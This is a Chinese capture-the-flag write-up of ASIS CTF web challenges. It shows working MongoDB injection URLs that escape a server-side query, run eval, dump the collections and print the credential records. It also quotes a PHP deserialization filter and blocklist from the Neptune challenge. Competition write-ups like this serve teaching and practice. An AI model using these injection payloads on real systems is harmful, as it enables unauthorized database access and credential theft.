这个五一打了信安国赛和ASISCTF
因为信安国赛那天有事,所以我主要做的是ASISCTF=。=
web
Nice Code (代码审计)
进入题目有一个get started
把问号去了
就是让我们不满足下面的等号就行
点击!就是源代码了
接下来就是代码审计
首先是这一波判断
这里一直绕不过去,hs给了hint是bug,然后2015年发现的
大概最后是这样的-,-
personal website
| DONE | working: HeartSky
这里存在 nosql 注入
http://206.189.54.119:5000/get/image/%7B%22$gt%22:1%7D
mongodb 注入
通过 http 响应头 Application-Error 去猜测后端语句
猜测出语句大概为
function () {
db.xxx.find({$xxx: [userInput]});
….
….
….
return xxx;
}
payload
/get/image/1});eval('sleep(10000);')};%2f%2f
逃逸出来之后就可以任意构造后端语句了,去数据库里获取我们需要的数据
根据报错 Application-Error: Couln't find "picture_path" property in returning object from database. 得到当前字段名为 picture_path
当前数据库名
/get/image/1});return%20{picture_path:tojson(db)}};%2f%2f
personal_site
当前集合
/get/image/1});return%20{picture_path:tojson(db.getCollectionNames())}};%2f%2f
[
"authentication",
"contents",
"credentials",
"images",
"system.indexes",
"titles"
]
有权限查看的为 authentication credentials
利用类似如下语句去逐条获取信息
/get/image/1});return%20{picture_path:tojson(db.credentials.find()[0])}};%2f%2f
authentication
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb3"),
"id" : 1,
"method" : "post_data",
"format" : "username=[username]&password=[password]",
"activate" : "false"
}
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb4"),
"id" : 2,
"method" : "header",
"format" : "md5(se3cr3t|[username]|[password])",
"activate" : "true"
}
{
"_id" : ObjectId("5ae66f87dbf0b5383518fc3d"),
"id" : 50,
"activate" : false
}
credentials
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb1"),
"id" : 1,
"username" : "administrator",
"password" : "H4rdP@ssw0rd?"
}
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb2"),
"id" : 2,
"username" : "user",
"password" : "epass"
}
联系到前面 js 文件中有泄露 amdin_xxxx ,即后台路径,但是需要验证登录
从 authentication 可以看出唯一可行的方法为通过 header 头的方式,根据格式要求得到它的值
Neptune
verify这边iv是可控的
进unserialize前要经过waf
长度不能超过128
$filter = ['.', 'html', FLAG, 'bash', 'etc', 'proc', 'file:', 'user:', 'gopher:', 'http:', 'php', 'phtml'];
黑名单3,不能超过2次
private function filter_session($data){
if(is_array($data)) return false;
$data = st
r_ireplace(";O:", ";s:", $data); //把对象换成字符串
$secure_except = ';s:9:"Affimojas":3:'; //存在 这个字符串的话,转义成对象
if(substr_count($data, $secure_except) == 1){
$data = str_ireplace($secure_except, ';O:9:"Affimojas":3:', $data);
}
$filter = ['asis', 'admin', __FLAG__, 'kawaii', 'StdClass', 'Object', 'String']; //黑名单
foreach($filter as $filter_check){
if(substr_count(strtolower($data), strtolower($filter_check)) > 0) return false;
}
$filter = ['"Uzume"', '"Neptune"', '"Affimojas"', 'Database"']; //黑名单2,可以存在一个
foreach($filter as $filter_check){
if(substr_count(strtolower($data), strtolower($filter_check)) > 1) return false;
}
return $data;
}
3个flag输出位置。。。不知道哪个。太鸡儿绕了,熟悉序列化反序列化的老哥可以做做(
if($auth){
// admin
if((string)$session[0] === "neptune"){
$encrypted_salt = bin2hex(openssl_encrypt(__SALT__, __CIPHER__, __SALT__, $options=OPENSSL_RAW_DATA, $iv=substr(__SALT__, 0, 16)));
$result = ['yasumu', 'Wow, you\'re almost getting there. レ(◣益◢#)ヘ Here is your encrypted SALT-chan. (?) ' . $encrypted_salt . '
'];
goto result;
}
这里能获得加密的salt